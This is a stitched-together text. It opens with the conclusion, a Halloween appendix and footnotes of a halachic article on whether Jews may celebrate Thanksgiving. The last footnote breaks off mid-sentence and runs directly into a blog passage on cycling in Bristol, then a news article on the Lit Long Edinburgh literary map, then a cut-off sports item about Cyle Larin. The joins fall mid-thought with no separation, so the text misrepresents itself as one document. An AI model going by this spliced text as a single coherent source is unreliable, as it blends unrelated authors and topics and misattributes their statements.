authorities appear to agree that the celebration of a one-time day of thanksgiving to mark the first time an event worthy of thanks occurs, is not problematic. (63) Thus, for example, President Bush declared a day of thanksgiving in 1991 in response to the victory in the Persian Gulf war (64) and it would not be problematic according to any of these opinions to mark that one-time event with some form of a celebration. Indeed, as noted by Rabbi Feinstein, there is some talmudic precedent for that form of thanksgiving. (65) Conclusion Three conclusions to this article are worth noting: Three basic approaches are taken by contemporary decisors (poskim) on the question of celebrating Thanksgiving. Some rule that Thanksgiving is not a Gentile holiday, but yet limit "celebration." They would, apparently, permit eating a turkey meal. Others prohibit any form of involvement in Thanksgiving, as they rule it a Gentile holiday. Yet others view the day no different from Independence Day and allow any celebration appropriate for a secular observance. Indeed, there remains a basic dispute that permeates this review and divide contemporary American halachic authorities of the last seventy five years. The relevant issue is whether it is appropriate to distinguish between "secular society", "Gentile society" and "idol-worshiping society" in modern American culture. The validity of this distinction -- which was not generally made by the decisors of Eastern Europe two hundred years ago for the society of that time and place -- is extremely relevant to a broad variety of halachic issues related to contemporary American society. Like many areas of Jewish law where there is a diversity of legitimate approaches, individuals should follow the practices of their community, family or rabbi, all-the-while respecting and accepting as halachicly permissible other community's practices. It is for the ability to respect and accept as legitimate the conduct of fellow observant Jews -- sanctioned by rabbinic authority -- that true thanksgiving to the Almighty is needed. This article has so far avoided any discussion of normative halacha. Such cannot, however, be avoided, at least in a conclusion. It is my opinion that this article clearly establishes that: (1) Thanksgiving is a secular holiday with secular origins; (2) while some people celebrate Thanksgiving with religious rituals, the vast majority of Americans do not; (3) halacha permits one to celebrate secular holidays, so long as one avoids doing so with people who celebrate them through religious worship and (4) so long as one avoids giving the celebration of Thanksgiving the appearance of a religious rite (either by occasionally missing a year or in some other manner making it clear that this is not a religious duty) the technical problems raised by Rabbi Feinstein and others are inapplicable. Thus, halacha law permits one to have a private Thanksgiving celebration with one's Jewish or secular friends and family. For reasons related to citizenship and the gratitude we feel towards the United States government, I would even suggest that such conduct is wise and proper. It has been recounted that some marking of Thanksgiving day was the practice of Rabbi Joseph B. Soloveitchik, thus adding force to our custom of noting the day in some manner. Elsewhere in this article it is recounted that Rabbi Joseph B. Soloveitchik would reschedule shiur on Thanksgiving day, so that shiur started earlier, and ended earlier, allowing the celebration of Thanksgiving. It is important to note the Torah study was not canceled, or even curtailed. Rather, the day was rearranged to allow for a full compliment of Torah, hand in hand with the requisite "civil celebrations." That too is an important lesson in how we should mark Thanksgiving. Torah learning must be an integral part of what we do, and how we function. Sometimes, because of the needs of the times or our duties as citizens, we undertake tasks that appear to conflict with our need to study and learn Torah. But yet we must continue to learn and study. Thus, Rabbi Soloveitchik did not cancel shiur on Thanksgiving. We, too, should not forget that leson. Torah study must go on. Appendix A: Collecting Candy on Halloween Harmless Pastime or Halachic Prohibition? Halloween in History Applying the principles explained above to determine whether it permitted to celebrate Halloween requires that one first explore the origins of Halloween as a holiday. As developed below, this is a classical case where the application of the same rules to different sets of facts leads to a different rule of halacha. A recent newspaper article recounted: According to the Encyclopedia Britannica, Halloween originated with the pagan Celtic festival of Samhain, a day on which the devil was invoked for the various divinations. 'The souls of the dead were supposed to revisit their homes on this day', Britannica says, 'and the autumnal festival acquired sinister significance, with ghosts, witches, hobgoblins.. and demons of all kinds said to be roaming about.' In the early Middle Ages, the Roman Catholic Church instituted All Hallow's Eve on October 31 and All Saints Day on November 1 to counteract the occult festival. It did not work. All Hollow's Eve was simply co-opted into the pagan celebration of Samhain. (66) As was noted by Professor John Hennig, in his classical article on this topic, there is a clear historical relationship between the Celtic concepts of resurrection, Roman Catholic responses to it, and the modern American holiday of Halloween. (67) Thus, Halloween, unlike Thanksgiving, plainly has in its origins religious beliefs that are foreign to Judaism, and whose beliefs are prohibited to us as Jews. On the other hand, notwithstanding the origins of Halloween, one must recognize that the vast majority of the people in America who currently celebrate Halloween do not do so out of any sense of religious observance or feeling. Indeed, one is hard pressed to find a religion in the United States that recognize Halloween as a religious holiday. One recent writer, responding to Christian assertions that Halloween celebrations are a form of pagan worship, wrote: One of my fondest memories of kindergarten was the first Halloween celebrated at school. I marched proudly from room to room in our elementary school in my Wilma Flintstone [ a character in a cartoon --MB ] costume as a participant in the Halloween parade. The anticipation of the event was overwhelming, exciting and the fun was anything but sinister.... To say that participating in Halloween leads to devil worship is like saying taking Tylenol leads to crack addition. Believe me, when I was marching in my Wilma Flintstone costume, the last thing on my mind was drawing pentagrams or performing satanic rituals. The only thought I had was that next year I'd be Pebbles! [Wilma's child -- MB]... It is only a few fringe group fundamentalist who seriously believe Halloween is a holiday for worshiping the devil. (68) This statement appears to be a truthful recounting of the modern American celebration of Halloween. The vast majority of people who celebrate Halloween have absolutely no religious motives at all -- it is an excuse to collect candy or engage in mischievous behavior. However, it is worth noting that there are still some people who celebrate Halloween religiously, and there are occasional court cases about employees who seek to take religious leave on Halloween day as a religious holiday. (69) Thus, the question about Halloween is whether Jewish law allows one to celebrate an event that has pagan origins, where the pagan origins are still known and celebrated by a very few, but not by the vast majority of people who engage in this activity. Halloween and Halacha In order to answer this question, a certain background into the nature of the prohibition to imitate Gentile customs must be understood. As explained above (70) Tosafot understands that two distinctly different types of customs are forbidden by the prohibition of imitating Gentile customs found in Leviticus 18:3. The first is idolatrous customs and the second is foolish customs found in the Gentile community, even if their origins are not idolatrous. (71) Rabbenu Nissim (Ran) and Maharik disagree and rule that only customs that have a basis in idolatrous practices are prohibited. Apparently foolish -- but secular -- customs are permissible so long as they have a reasonable explanation (and are not immodest). (72) Normative halacha follows the ruling of the Ran and Maharik. As noted by Rama: Those practices done as a [Gentile] custom or law with no reason one suspects that it in an idolatrous practice or that there is a taint of idolatrous origins; however, those customs which are practiced for a reason, such as the physician who wears a special garment to identify him as a doctor, can be done; the same is true for any custom done out of honor or any other reason is permissible. (73) Rabbi Isserless is thus clearly prohibiting observing customs that have pagan origins, or even which might have pagan origins. His opinion, the most lenient found in normative halacha, is the one we follow. (74) Of course, independent of the halachic obligation to avoid Gentile religious customs, Jewish law forbids a Jew from actually celebrating idolatrous religious events himself. (75) Based on this, in order to justify candy collection on halloween, one would have to accepts the truthfulness of any of the following assertions: 1] Halloween celebrations have a secular origin. 2] The conduct of the individuals "celebrating Halloween" can be rationally explained independent of Halloween. 3] The pagan origins of Halloween or the Catholic response to it are so deeply hidden that they have disappeared, and the celebrations con be attributed to some secular source or reason. 4] The activities memorialized by Halloween are actually consistent with the Jewish tradition. I believe that none of these statements are true. Conclusions Applying these halachic rules to Halloween leads to the conclusion that participation in Halloween celebrations -- which is what collecting candy is when one is wearing a costume -- is prohibited. Halloween, since it has its origins in a pagan practice, and lacks any overt rationale reason for its celebration other than its pagan origins or the Catholic response to it, is governed by the statement of Rabbi Isserless that such conduct is prohibited as its origins taint it. (76) One should not send one's children out to trick or treat on Halloween, or otherwise celebrate the holiday. The question of whether one can give out candy to people who come to the door is a different one, as there are significant reasons based on darchai shalom (the ways of peace), eva (the creation of unneeded hatred towards the Jewish people) and other secondary rationales that allow one to distribute candy to people who will be insulted or angry if no candy is given. This is even more so true when the community -- Jewish and Gentile -- are unaware of the halachic problems associated with the conduct, and the common practice even within many Jewish communities is to "celebrate" the holiday. Thus, one may give candy to children who come to one's house to "trick or treat" if one feels that this is necessary. FOOTNOTES 1. Two different types of "celebration" are discussed. The first, and most significant, is the eating of a festive holiday meal with turkey and other forms of activity directly celebrating the day (such as attending a parade). The second is a lesser form of celebration: the intentional scheduling of other types of celebratory events -- such as weddings -- on Thanksgiving to take advantage of the fact that many do not work. Similar to that is the practice of changing the time of daily prayer service to acknowledge this day as one in which people do not normally work. 2. The Appendix will discuss whether turkey is a kosher bird fit for consumption throughout the year. 3. The celebration of Canadian Thanksgiving is a different issue from that of its American cousin. Canada celebrated its first Thanksgiving in 1572, but the date of its modern Thanksgiving observance was not fixed until 1957, when the second Monday in October (the same day as American Columbus day) was agreed on. There still is no common agreement on the appropriate food to eat, and large numbers of individuals simply do not celebrate the holiday, even in Canada. Indeed, there are some provinces that do not treat it as a holiday. For more on this, see Julianne Margvelashvili, "Thanksgiving, the Canadian Way," Philadelphia Inquirer, November 9, 1994 at section B1. The halachic issues involved are thus different. 4. Such as the Boston Thanksgiving celebration of February 22, 1630. As will be discussed in text accompanying note 63, the question of whether it would have been permissible for a Jew to join with the colonists in these spontaneous celebrations is an issue different from whether one may celebrate Thanksgiving now. 5. This history of Thanksgiving is taken from R. & A, Linton, We Gather Together: The Story of Thanksgiving at pages 72-85 (1949). 6. 1 Annals of Cong. 914 (1789). 7. See J. Richardson, Messages and Papers of the Presidents, 1:64. Washington continued, stating: And also that we may then unite in most humbly offering our prayers and supplications to the great Lord and Ruler of Nations, and beseech Him to pardon our national and other transgressions; to enable us all, whether in public or private stations, to perform our several and relative duties properly and punctually; to render our National Government a blessing to all the people by constantly being a Government of wise, just, and constitutional laws, discreetly and faithfully executed and obeyed; to protect and guide all sovereigns and nations (especially such as have shown kindness to us), and to bless them with good governments, peace, and concord; to promote the knowledge and practice of true religion and virtue, and the increase of science among them and us; and, generally, to grant unto all mankind such a degree of temporal prosperity as He alone knows to be best. 8. Indeed, Thomas Jefferson strongly objected to these pronouncements. He wrote: Fasting and prayer are religious exercises; the enjoining them an act of discipline. Every religious society has a right to determine for itself the times for these exercises, and the objects proper for them, according to their own particular tenets; and this right can never be safer than in their own hands, where the Constitution has deposited it. A. Lipscomb ed., Writings of Thomas Jefferson 11:429 (1904). 9. New York State attempted to revive the holiday of Thanksgiving in 1795. However, this attempt failed because of a basic disagreement between various commercial interests over when the holiday should be celebrated. Southern states, for many years before 1846, issued Thanksgiving day proclamations, many of which were overtly Christian, and which raised considerable protests from the Jewish community. For example: When James H. Hammond, governor of South Carolina, announced a day of "Thanksgiving, Humiliation, and Prayer" in 1844, he... exhorted "our citizens of all denominations to assemble at their respective places of worship, to offer up their devotions to God their Creator, and his Son Jesus Christ, the Redeemer of the world." The Jews of Charleston protested, charging Hammond with "such obvious discrimination and preference in the tenor of your proclamation, as amounted to an utter exclusion of a portion of the people of South Carolina." Hammond responded that "I have always thought it a settled matter that I lived in a Christian land! And that I was the temporary chief magistrate of a Christian people. That in such a country and among such a people I should be, publicly, called to an account, reprimanded and required to make amends for acknowledging Jesus Christ as the Redeemer of the world, I would not have believed possible, if it had not come to pass". M. Borden, Jews, Turks, and Infidels 142 n.2 (1984). Such overtly Christian proclamations have not been signed since 1860. 10. Roughly parallel to the modern Ladies Home Journal. 11. There was some controversy concerning the proper date for Thanksgiving, as in 1934 President Roosevelt switched the day of Thanksgiving from the last Thursday in November to the second-to-last Thursday in November when November has five weeks. This was done to change the nation's shopping pattern and increase spending. While some objected to this mercantile approach to the holiday, Roosevelt -- and mercantilism -- triumphed and Thanksgiving has been celebrated in the second to last week of November since that year. 12. 673 F.Supp. 1524 (D. Haw. 1987) 13. Lynch v. Donnelly, 465 U.S. 668 (1984); Allegheny v. American Civil Liberties Union, 492 U.S. 573 (1989). 14. This is noted quite clearly by Rabbi Menashe Klein, Mishnah Halacha 10:116, discussed infra. 15. This article uses the term "turkey" to refer to the species of bird ornithologists classify as Meleagris gallopavo. There is another type of turkey called ocellated turkey (Agriocharis ocellata) common in southwestern America and Mexico whose status as a kosher bird cannot be verified by this writer. The Austrian turkey, the brush turkey, the water turkey and the turkey vulture are not considered kosher birds and are not species of turkey at all. The modern English name "turkey" comes from the mistaken British belief that this bird was somehow related to the "guinea fowl" of Islamic ("turkish") lands. For more on turkeys, see "Turkey," Encyclopedia Britannica 12:58-59 (15th ed., 1991).) Throughout this article it is assumed that the eating of turkey is generally permitted throughout the year; indeed, the current practice of nearly all Jews is to treat turkey as a kosher bird. A close examination of the halachic literature reveals that this was by no means accepted by all authorities at all times. Obviously, if one were to conclude that turkey is not a kosher bird, that would have a significant impact on one's ability to eat it on Thanksgiving. (The problem of the permissibility of eating turkey is compounded by the fact that the Yiddish and German term for "guinea fowl" (perlahener) is sometimes mistranslated as "turkey." Thus, while the translator of the German words in the Bar-Ilan CD-Rom Responsa collection notes that Rabbi David Tzvi Hoffmann in Melamed LeHoil 2:15 is discussing the permissibility of eating turkey when he is discussing the perlahener, in fact he is discussing the eating of guinea fowl, as is made clear by his reference to Chatam Sofer OC 127 (as well as consultations with various Yiddish and German dictionaries). Most authorities agree with Rabbi Hoffmann that guinea fowl is not a kosher bird, although that too is disputed.) Turkey was first discovered in America in the early sixteenth century and was brought to Europe as a product of trade with the new land. It was at first thought to be the larger American version of the European chicken. (This explains its modern Hebrew name, (tarnagolet hodu) and its modern Yiddish name (hendika hen), both of which mean "Indian" chicken as "India" was what Columbus thought he had discovered, and for many years products of the new world were called "Indian products" e.g. "Indian corn.") At the time that turkey was first introduced into Jewish communities in Europe, a number of authorities thought that it was not appropriate to eat this bird, as Rabbi Moshe Isserless (Rama) rules that one does not eat birds that lack a tradition of being kosher, even if they have the general indicia of being a kosher bird; Yoreh Deah 82:3. This was even more true for turkey, as it was not clear if they, in fact, had the general indicia of being kosher.(For a discussion of what these factors are, see Yoreh Deah 82:1-3.) It is worth noting that the Encyclopedia Britannica (at 12:58) states that wild turkeys are sometimes carnivorous, although domestic turkeys no longer are. Thus, no less an authority than Rabbi Shlomo Kluger rules that turkey may not be eaten and lacks the tradition of being a kosher bird; see Beit Shlomo Yoreh Deah 1:144 and the sources cited in Darchai Teshuva YD 82:34. However, the vast majority of halachic authorities, after examining turkeys and their habitats, concluded that turkeys do in fact have the indicia of being a kosher bird and are included in the tradition of being a kosher animal; see, for example Divrai Chaim YD 2:45; Iggerot Habosem 16; Maharam Shick YD 98-100; and the lengthy discussion in Darchai Teshuva 82:31,34-35. Turkey's mesorah as kosher was subsumed under the mesorah of chickens, geese or ducks. The normative practice in America -- adhered to by all of the major kosher certification organizations and the vast overwhelming majority of observant Jews -- is to consider turkey to be a kosher bird fit for consumption throughout the year according to Jewish law. 16. For elaboration on this issue, see Rabbi Tzvi Teichman, "The Jew in a Gentile Society: Chukat Ha'Akum" 3 Journal of Halacha and Contemporary Society 64-85 (1981). 17. Tosafot Avodah Zara 11a ve'ei. Tosafot, and all of the other authorities discussed in this section are resolving a tension between the talmud here and in Sanhedren 52b. 18. Ran, commenting on Avodah Zarah 11a yisrael and Chidushai HaRan on Sanhedren 52b; Maharik, Responsa 58. 19. Rama YD 178:1. 20. Gra YD 178:7. For a review of the authorities who disagree with the Gra, see Seride Esh 3:93. 21. For a discussion of why halacha historically discusses the idolatrous practices of "Indian" faiths, see the star footnote in the Mishnah Berurah 330:8, the prefatory remarks of Rabbi Chaim Cohen in Divrai Geonim and the extremely illuminating remarks of Rabbi Bleich on "self-censorship" and avoidance of "imposed censorship" through the mechanism common in Eastern European works of discussing the practices of the "observant Jews" and "idolatrous Gentiles" of "India" found in Rabbi J. David Bleich, "Extraditing Jews," Techumin 8:297, 301-302 (5747). 22. Shulchan Aruch, Yoreh Deah 147:6-9. The issue of how much assistance is permissible in cases where the violation will occur whether or not the Jew assists is beyond the scope of this article. For more on that, see my "Assisting in a Violation of Noachide Law" forthcoming in the Jewish Law Association Conference Volume: The Jerusalem Conference. 23. Yoreh Deal 147:4-7. 24. What others will think. 25. The status of New Year's Day has changed in the last three hundred years. In contemporary America there is little religious content or expression to New Year's Day, and while there might be many problems associated with the way some celebrate it, few would classify it as a religious holiday. However, Terumat Hadeshen 195, writing nearly five hundred years ago classifies New Years as a religious holiday and this is quoted by Rama YD 148:12. Terumat Hadeshen discusses whether one may give a New Year's Day gift and refers to January First as "the eighth day of Christmas." He clearly understands the holiday as religious in nature and covered by the prohibition of assisting a Gentile in his worship. (The text of the common edition of the Shulchan Aruch here has undoubtedly been subject to considerable censorship; for an accurate rendition of the Rama, see the Rama's Darchai Moshe in the new edition of the Tur published by Machon Yerushalyim.) 26. Iggerot Moshe, Even Haezer 2:13. 27. Rabbi Feinstein cites Megillah 7 and Nachmanidies (Ramban), commenting on Deuteronomy 4:2. 28. Iggerot Moshe, Yoreh Deah 4:11(4). 29. Thus, for example, this author suspects that Rabbi Feinstein would feel it not problematic to note Thanksgiving -- like Labor Day, Independence Day, and Memorial Day are noted -- on synagogue calendars as a secular "holiday." Indeed, Thanksgiving Day (along with Columbus Day, Veterans Day, Election Day, Presidents Day, Memorial Day, Independence Day and Labor Day) are all noted in the Ezras Torah calendar published under Rabbis Feinstein's (and Henkin's) auspices. (New Years Day and Christmas Day are not.) So too, this author suspects that Rabbi Feinstein would permit teaching about Thanksgiving to school children as part of their general studies curriculum, just as he would permit Columbus to be discussed. 30. Rabbi Feinstein, supra note 28. 31. Iggerot Moshe OC 5:20(6). 32. Iggerot Moshe Yoreh Deah 4:12. This teshuva was written in response to a questioner who noted that the analysis found in Iggerot Moshe OC 5:20(6), Iggerot Moshe YD 4:11(4), and Iggerot Moshe EH 2:13 seem to be at tension one with the other. Indeed, to resolve the matter in any way other than the one Rabbi Feinstein himself does requires a re-understanding of a number of teshuvot written by Rabbi Feinstein dealing with secular customs that have no religious origins -- activity that Rabbi Feinstein has repeatedly ruled permissible throughout his life. 33. In a letter to this author dated 5, parshat devarim 5754. 34. In Revavot Ephraim on Yoreh Deah. 35. Indeed, it is clear from Rabbi Greenblatt's letter that he feels that Rabbi Feinstein agrees with his ruling, in that he references to the fact that he was the questioner to both Rabbi Feinstein and Rabbi Klein and that only one of them does not agree with him. As will be made clear from Rabbi Klein's responsa, he certainly does not agree that celebration is permitted. 36. See the Appendix for more on this issue. 37. Rabbi Howard Jachter of Brooklyn notes that he explicitly spoke to Rabbi Soloveitchik about this in July 1985 and that Rabbi Soloveitchik affirmed this ruling and did not see any problem with celebrating Thanksgiving. Dr. Avi Feldblum of Highland Park, NJ also confirmed to this author that he heard such a ruling from Rabbi Soloveitchik, as did Dr. Marc Shapiro of Boston. 38. Dr. Avi Feldblum recounted: While I do not know whether Rabbi Soloveitchik had turkey for dinner that night or whether he called it a Thanksgiving dinner, it was well known that on the day that is marked on the calendar as Thanksgiving, Rav Soloveitchik started shiur much earlier than usual, in order to end earlier than usual and catch the plane back to Boston, to have a festive meal etc. However, it is of interest to note that while Thanksgiving appeared to be of sufficient importance to change the fixed time for shiur, it was not sufficient to end shiur if the Rav had not completed what he wanted to understand. On Thanksgiving 1976, there was the famous Thanksgiving shiur where the Rav spent about five hours (most of it in silent thought) working through one tosafot. After the second or third time the shamash passed him a note about the flight [back to Boston], the Rav turned to him and said "no one can leave here until we have understood what it is that Tosafot is saying!" Letter of Dr. Avi Feldblum, published electronically in mail.jewish, volume 5, issue 20 available in archives at mail-jewish@shamash.nysernet.org. 39. Part of the underlying dispute might concern whether Jewish law accepts the opinion of the Gra that customs that have secular origins are prohibited. As noted above, Gra YD 178:7 rules that such customs are prohibited. Rabbi Henkin, in his teshuvot, Benai Banim 2:30 demonstrates that this is not the normative halachic approach, which is to maintain that absent idolatrous origins, such customs are not suspect. The validity of many secular practices most likely hinges on the resolution of this dispute. A secondary dispute is also present as to whether the act of commemoration for the survival of the nation is "nonsense" or not. Rabbi David Cohen writes that "The aspect of a law of craziness and nonsense ( 40. Letter of Rabbi Henkin, dated 23 Tevet 5755. Rabbi Henkin notes that it is not prohibited to delay the time of morning services to reflect the fact that many are off from work on Thanksgiving. However, on a legal holiday that is also a Gentile religious holiday -- such as December 25 -- he advises that it is better to ignore the secular holiday for scheduling purposes. Rabbi David Cohen writes that it is best not to change the time of prayer, even on Sunday, and certainly to do so on a Gentile holiday is frowned on; Letter of Rabbi David Cohen, dated 9 Nissan 5755. 41. Shulchan Aruch Yoreh Deah 148:6. 42. Shulchan Aruch 148:5. See also comments of Beit Yosef on Tur, Yoreh Deah 148 s.v. ubegoy shemakirin be she'ano oved avodah zara, hacol mutar. 43. Rabbi Yitzchak Hutner, Pachad Yitzchak: Iggerot umechtavim shel Harav Hutner (5751), 109. The word "appears" is appropriate because it is from the title of the letter (which was not written by Rabbi Hutner, but by the editor) that it is clear that Rabbi Hutner is dealing with Thanksgiving. Since this volume of Rabbi Hutner's was published posthumously, it is possible that the letter was in fact in reference to some other event. Indeed, Rabbi David Cohen (of Gvul Yavetz) writes: Once I heard from my teacher Rabbi Yitzchak Hutner " 44. A similar type of argument can be found, relating to a different holiday, in Kovetz Iggrot Me'at HaChazon Ish, 97. 45. Mishnah Halacha 10:116. 46. Gra YD 178:7. 47. Mishna Halacha 10:116. There seem to be two completely different issues raised by Rabbi Klein. The first is the problem posed by the celebration by Jews of idolatrous holidays. The second is the problems of imitating Gentile customs. It is important to realize that these two issues are quite separate and distinct. The first is discussed on Shulchan Aruch Yoreh Deah 148 and the second in Yoreh Deah 178. Conceptually, the two issues are unrelated. 48. Rabbi Klein, writing to Rabbi Ephraim Greenblatt who posed the question, states that he would withdraw his response if the approach of Rabbi Feinstein on this issue were known. It is unclear how the recent publication in Am Hatorah of the opinion of Rabbi Feinstein, discussed above, would affect the ruling of Rabbi Klein. 49. Letter of Rabbi David Cohen, dated 9 Nissan 5755. Rabbi Feivel Cohen also writes that halacha prohibits the celebration of Thanksgiving; undated letter to this writer received Nissan 5755. He indicates that, in his opinion, based on the language of Rambam, Malachim 10:9, there is a significant problem when a Gentile celebrates this holiday, as that Gentile has the status of one who observes a day of rest and it is as if he observed his own festival, both of which are prohibited according to Rambam for a Gentile. Such a holiday, Rabbi Cohen writes, is created by Thanksgiving, which is an attempt by a Gentile to create a special day of festivities, and thus prohibited. Indeed, in Rabbi Cohen's opinion, even if there is no difference between Thanksgiving and Independence Day, both are prohibited festivals, as Gentiles may not add festive days to the calendar. In this author's opinion, the argument that Thanksgiving celebrations are prohibited to Gentiles by Malachim 10:9 is not persuasive. Even if Thanksgiving is a holiday in the American law sense, it is not at all clear that the manner of celebration one sees in America fits into the halachic category of festival (mo'ed) or of resting (shabbat), rather than a mere commemoration. Thus, for example, the prohibition of a Gentile observing Shabbat is obviated even by slight deviations from the rules of keeping Shabbat by the Gentile; for more on this, see Rabbi J. David Bleich "Observance of Shabbat by Prospective Proselytes" Tradition 25(3) 46-62 (1991). One could easily claim that the same is true for a Gentile having a Thanksgiving observance, which bears no resemblance to the way the Jewish tradition celebrated festivals. 50. The question of observing or attending a Thanksgiving day parade can only be answered after one decides what is the status of the day itself. Applying the three positions developed above to parades, one observes that: 1) If one rules that Thanksgiving is a Gentile holiday, it would be prohibited to participate or benefit in any way from the parade honoring the day. 2) If one maintains that Thanksgiving is not a Gentile holiday, but prohibited because of the rule against Gentile customs, observing the parade would not be prohibited, as observing parades is not irrational; even then, however, care must be exercised, lest people be taught to observe such customs generally. (Letter of Rabbi Cohen, dated 9 Nissan 5755.) 3) If one concludes that Thanksgiving is a secular holiday, with a rational basis in national rescue, and thus may be celebrated, there would seem to be no problem in attending a parade, as a Thanksgiving day parade is no different from an Independence Day parade. 51. To this writer, Rabbi Hutner's proof could be disputed, as it proves too much: it would also "prove" that Independence Day, Labor Day, V-E day, Washington's Birthday, and the many other clearly secular holidays observed by Americans throughout the year -- based on the Christian/secular calendar -- are really "Gentile" holidays. Such seems counter-intuitive. In addition, it would seem that Thanksgiving is an extremely poor example of the phenomena that Rabbi Hutner is criticizing, as Thanksgiving does not have a fixed date on the secular calendar -- rather it is the fourth Thursday of the month of November, whatever date that happens to be. Indeed, Congress could move the date to July if it so voted. 52. This is clear stated by Rabbi Hutner above and can also be found in Rabbi Moshe Shternbuch, Teshuvot veHanhagot 2:721. 53. See e.g. Kovetz Iggerot Chazon Ish 97. 54. Rabbi Herzog, Pesakim Umechtavim shel harav Herzog OC 99-100 and 104; Rabbi Unterman, Shevet Meyehuda 2:58. 55. For an example of this, see Rabbi Ovadia Yosef, Yabia Omer OC 6:41-42 56. For a review essay on the various issues see, Rabbi Moshe Tzvi Nariah, "Adding Days of Joy to the Jewish Calendar" 3 Hatorah VehaMedinah 77-85 (2nd ed. Tzomet, 5752). 57. It is important to realize that such was not always the case in the United States. In the early 1950's, in response to the perceived threat of "godless communism", "prayer books" containing rituals and pseudo-religious quot;reflections" on the various American "holidays" were published in order to encourage the ritualization of the celebration. For an example of this, see Mordecai Kaplan, Paul Williams and Eugene Kohn, The Faith of America: Prayers Reading, and Songs for the Celebration of American Holidays (New York, 1951). 58. Nor for that matter is the Independence Day cookout or the Veteran's Day parade obligatory. 59. Besides Thanksgiving, they are: Martin Luthur King Day (celebrating the birthday of the civil rights leader), President's Day (celebrating the birthdays of Lincoln and Washington), Memorial Day (commemorating those who have died fighting for this country), Independence Day (celebrating the establishment of the Union), Labor Day (celebrating worker's rights), Columbus Day (marking the day Columbus discovered America), and Veterans Day (celebrating the end of the two World Wars). 60. In this significant way, these American holidays are markedly different from their Israeli counterparts, which more clearly appear to be additions to the Jewish calendar. This article is not the place for a full and complete discussion of the significance of the establishment of the State of Israel and the proper halachic responses to it. Rather the purpose of this section is to note that this issue is not relevant when discussing halachic issues involved in celebrating modern American secular holidays. 61. Consistent with this is Rabbi Yehuda Herzl Henkin's proposal (found in the previous section) that one skip the Thanksgiving meal every couple of years to indicate that this is not a religious ritual. He, too, feels that these ritualization concerns are what Rabbi Feinstein is referring to. 62. In this author's opinion, it is quite possible that the changes in American society and sociology since the 1950's account for the differences between Rabbi Feinstein's first responsum in 1953 and his second in 1980. When Rabbi Feinstein first addressed this topic in 1953, Thanksgiving was not a religious holiday, but there were those who wanted to make it one (see note 57 for a discussion of this). Thus, Rabbi Feinstein thought pious people should be strict on this matter. By 1981 that movement had completely disappeared from the American scene, thus eliminating even the possibility that one might think this a religious holiday, and thus Rabbi Feinstein does not indicate in his later teshuva that pious people should be strict on this matter. 63. It is not clear that Rabbi Hutner would agree to that, although a close reading of the letter does
seems to extend to their two-wheeled colleagues too. The presence of cycle symbols directly on the roadway in places also helps to remind them of the other users they share the road with. Bristol’s topography makes it hard to drive anywhere in a straight line and so traffic congestion is fairly rife. While a few plans for ring roads and improved junctions come up now and then, it almost seems like the city has deliberately tried to minimise any major roading works for some time to encourage people to use other modes, including cycling. I have to be careful not paint a too idyllic picture. The photos show many of the nice/interesting features that I found around Bristol but, as I’ve stated, there were plenty of missing gaps or just plain annoyances (e.g. ever tried to ride along an entire long cobbled street? Not fun…). Many of the photos of separated cycleways stopped abruptly a bit further down the road. Nevertheless, to date they have made quite an effort here, and there’s a lot to like about biking around Bristol. There’s no shortage of things to take in around Bristol, so I’ll put up some more photos in a separate post. What do you think of cycling in Bristol?‘Lit Long’, a searchable interactive map of the city, will take users to locations made famous by Scottish writers from Walter Scott to Irvine Welsh – and tell you what they wrote From Miss Jean Brodie, Muriel Spark’s maverick schoolteacher, to Edward Hyde, Robert Louis Stevenson’s alter ego villain, Edinburgh has long provided a backdrop for some of literature’s most enigmatic characters. Now a digital initiative is offering you the chance to explore the city’s streets through the eyes of the authors they inspired. Launching on Monday, Lit Long: Edinburgh has an online interactive map that pinpoints the locations referred to in narrative extracts. “We wanted to find a way to look at the sedimented literary history of Edinburgh in a new way,” says Professor James Loxley of Edinburgh University, who led the work. By applying filters to the map, it is possible to narrow the extracts – depicted, appropriately enough, with a quill – to works based on keywords, titles or authors. “Grassmarket, for example, is linked to a host of extracts including a grim description of the gallows from Sir Walter Scott’s The Heart of Midlothian: ‘This ill-omened apparition was of great height, with a scaffold surrounding it, and a double ladder placed against it, for the ascent of the unhappy criminal and executioner’.” And it doesn’t end there. Loxley and his team say they are developing the interactive element to add a “sentiment visualiser” tool that employs algorithms to analyse the language of the extracts and reveal whether locations are portrayed as upbeat areas or cheerless haunts. “It gives you a pie-chart breakdown and a score so you can start to get this very powerful visual sense of whether a place has been described very positively or very negatively,” says Dr Tara Thomson, a research fellow at the University of Edinburgh who has been working on the project. A spot of literary time travel can also offer insight into a district’s changing fortunes. “You can see how Walter Scott described a place that Robert Louis Stevenson described years later, perhaps in a different way,” she says. Facebook Twitter Pinterest A search on the Lit Long:Edinburgh map Photograph: Lit Long Lit Long: Edinburgh will also have a searchable database, as well as a mobile app that is scheduled to be released next month. This will alert users to relevant literary extracts as they wander through the city. The project, with references to more than 47,000 passages from 550 works, is the work of the Palimpsest project – a 15-month programme by the universities of Edinburgh and St Andrews, and the Edina data centre. It has been funded by the Arts and Humanities Research Council, with the goal of fusing maps and texts to create an innovative digital experience. Bringing together researchers across literary and technological fields, the team developed a set of text-mining algorithms to plumb the depths of collections including Project Gutenberg and the National Library of Scotland, in a search for fiction, travel memoirs and personal correspondence that refer Scotland’s capital. While Lit Long: Edinburgh will feature numerous extracts from 19th and early 20th century works, a selection of contemporary narratives have also been included. Among them are the novels of Alexander McCall Smith, for whom the city provided the backdrop for the adventures of his philosopher-cum-sleuth Isabel Dalhousie, as well as works by Irvine Welsh, Muriel Spark, Alice Thompson and Edinburgh’s former poet laureate – or makar – Ron Butlin. “Edinburgh is the most inspiring city to live in and to write about,” says Butlin, who is enthusiastic about linking imaginative worlds to physical reality. “[The project], I think, has really put its finger on making this magical interaction happen and making it possible for everybody to experience this.” Thompson, whose novel The Existential Detective is set in the seaside suburb of Portobello, also believes the interactives will offer readers a new perspective on the city. “I think place is so central to a lot of interesting writing,” she explains. Butlin himself will be reading at the project’s launch event at the university on Monday, joining other featured authors including Doug Johnstone, Regi Claire and the winner of the project’s writing competition. Demonstrations of the interactive website, litlong.org, and the app will also be on offer. “It is all just dead stones or names out of the past and then suddenly it will become actual and real and present-day,” enthuses Butlin of the digital experience. “So that will be one huge contemporary moment, if you like – it’s really exciting.” By sharing the digital tools that the team have developed, Thomson is also hopeful that similar interactives will be rolled out to other cities. “All of this is going to be open-access and available through our website, so in theory anyone who would like to reproduce the project in another location would be able then to apply those tools,” she says. Loxley agrees: “Lit Long: London would be fantastic!” • This article was amended on Sunday 29 March to correct the spelling of Thomson in the final paragraph.Orlando City rookie forward Cyle Larin has been called up by the Canadian national team for World Cup qualifiers this month. Larin, who 